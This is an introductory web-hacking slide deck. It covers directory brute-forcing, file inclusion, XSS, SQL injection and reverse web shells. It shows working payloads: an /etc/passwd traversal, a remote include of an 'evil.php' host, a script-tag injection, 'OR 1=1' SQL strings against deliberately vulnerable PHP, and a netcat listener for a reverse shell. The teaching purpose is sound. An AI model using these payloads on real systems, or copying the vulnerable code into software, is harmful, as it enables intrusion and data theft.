

# Introduction to Web Hacking

Jakub "Ziemni" Partyka

# Today:

- > How to look for information
- > Where to look for information
- > Directory Bruteforcing
- > File inclusion
- > Cross-site scripting (XSS)
- > SQL Injection
- > Web Shells
- > Demo

# How to look for information

**man** <command>

<command or hacking technique> **cheatsheet**

<command> documentation

<command> wiki

<something> tutorial / guide

# Where to look for information

OWASP - Open Web Application Security Project

PortSwigger - Creators of Burp Suite

exploit-db.com - Database of exploits managed by Offensive Security

Pentestmonkey - Scripts / Shells / Cheatsheets

HighOn.Coffee - Penetration Testing and Security Research Blog

P.S.

ALWAYS check exploits before downloading them...

DO NOT download anything from not trusted sources

Hacking is illegal

# Directory Bruteforcing / Enumeration

OWASP DirBuster

Nmap --script http-enum

Nikto

Metasploit

The screenshot shows the OWASP DirBuster 1.0-RC1 web application interface. The title bar reads "OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing". The menu bar includes "File", "Options", "About", and "Help". The main form contains the following fields and controls:

- Target URL (eg http://example.com:80/)**: A text input field.
- Work Method**: Radio buttons for "Use GET requests only" and "Auto Switch (HEAD and GET)".
- Number Of Threads**: A slider set to 10, with a "Go Faster" checkbox.
- Select scanning type:** Radio buttons for "List based brute force" (selected) and "Pure Brute Force".
- File with list of dirs/files**: A text input field with "Browse" and "List Info" buttons.
- Char set**: A dropdown menu showing "a-zA-Z0-9%20\_-".
- Min length**: A text input field set to 1.
- Max Length**: A text input field set to 8.
- Select starting options:** Radio buttons for "Standard start point" (selected) and "URL Fuzz".
- Brute Force Dirs**: A checked checkbox.
- Be Recursive**: A checked checkbox.
- Dir to start with**: A text input field set to "/".
- Brute Force Files**: A checked checkbox.
- Use Blank Extension**: An unchecked checkbox.
- File extension**: A text input field set to "php".
- URL to fuzz - /test.html?url={dir}.asp**: A text input field.
- Exit**: A button with a red X icon.
- Start**: A button with a play icon.

At the bottom, a message reads: "Please complete the test details".

On Kali wordlists are located in /usr/share/wordlists/

# File inclusion

## Local

Including files from a server you are attacking

## Remote

Including files from outside of a server you are attacking

```
$incfile = $_REQUEST["file"];  
include($incfile);
```

Local:

```
https://example.com?file=../../../../../../../../etc/passwd
```

Remote:

```
https://example.com?file=http://myserver.com/evil.php
```

# Cross-site scripting (XSS)

- > Client-Side scripts injection
- > Allows to bypass access controls

## Non-persistent (reflected)

meh..

## Persistent (stored)

- > Stores injected code on a website
  - > Session hijacking
  - > Stealing cookies
  - > Stealing credentials
  - > etc...

```
<form action="/hello.php">
  Your name:<br>
  <input type="text" name="name"><br>
  <input type="submit" value="Submit">
</form>
```

Your name:

  

Your name:

<p> Hello: <b> Ziemni </b> </p>

Hello: **Ziemni**

Your name:

<p> Hello: <b> <script>alert('Ziemni')</script> </b> </p>

This page says

Ziemni



# SQL Injection

- > SQL Query injection
- > Make database return any information

The diagram illustrates a SQL injection attack on a login form. It is divided into two sections: "Sem SQL Injection" and "Com SQL Injection".

**Sem SQL Injection:** This section shows a standard login form with fields for "Usuário" (username) and "Senha" (password). The username field contains "camila" and the password field contains "minhasenha". An arrow points from this form to a database query box.

**Com SQL Injection:** This section shows the same login form, but with malicious SQL code injected into the fields. The "user" field contains "' OR 1=1; /\*" and the "pass" field contains "\*/--". An arrow points from this form to a database query box.

**Database Queries:** Two boxes show the resulting SQL queries executed by the database:

- The first query, corresponding to the "Sem SQL Injection" form, is: `SELECT * FROM sec_users WHERE usuario = 'camila' AND senha = 'minhasenha'`
- The second query, corresponding to the "Com SQL Injection" form, is: `SELECT * FROM sec_users WHERE usuario = '' OR 1=1; /* ' AND senha = '*/--'`

```
<?php
```

```
if(isset($_GET['Submit'])){
```

```
    // Retrieve data
```

```
    $id = $_GET['id'];
```

```
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";  
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>');
```

```
    $num = mysql_numrows($result);
```

```
    $i = 0;
```

```
    while ($i < $num) {
```

```
        $first = mysql_result($result,$i,"first_name");  
        $last = mysql_result($result,$i,"last_name");
```

```
        echo '<pre>';  
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;  
        echo '</pre>';
```

```
        $i++;
```

```
    }
```

```
}  
?>
```

With:

```
$_GET['id'] = ' OR 1=1; #
```

Query becomes:

```
SELECT first_name, last_name FROM users WHERE user_id = " OR 1=1; #
```

# Owasp Top 10 - A1:2017 Injection

# Owasp Top 10 A1:2017 Injection

# Some more techniques

- > Cross-site request forgery (CSRF or XSRF)
- > XML External Entities (XXE)
- > Fuzzing
- > Enumeration
- > OSINT
- > Credential bruteforcing / stuffing
- > DNS poisoning / tunneling
- > Breaking Parser Logic
- > Cache Poisoning
- > Server Side Request Forgery
- > Deserialization
- > WAF bypassing

# Web Shells

Kali Linux:

/usr/share/webshells/

/usr/share/webshells/php/php-reverse-shell.php

```
$ip = '127.0.0.1'; // CHANGE THIS TO YOUR IP  
$port = 1234;      // CHANGE THIS TO PORT YOU ARE LISTENING ON
```

Listen with netcat:

nc -lvnp <not used port>

- DAMN VULNERABLE WEB APPLICATION (DVWA)
  - <https://github.com/ethicalhack3r/DVWA>
- JUICE SHOP
  - <https://github.com/bkimminich/juice-shop>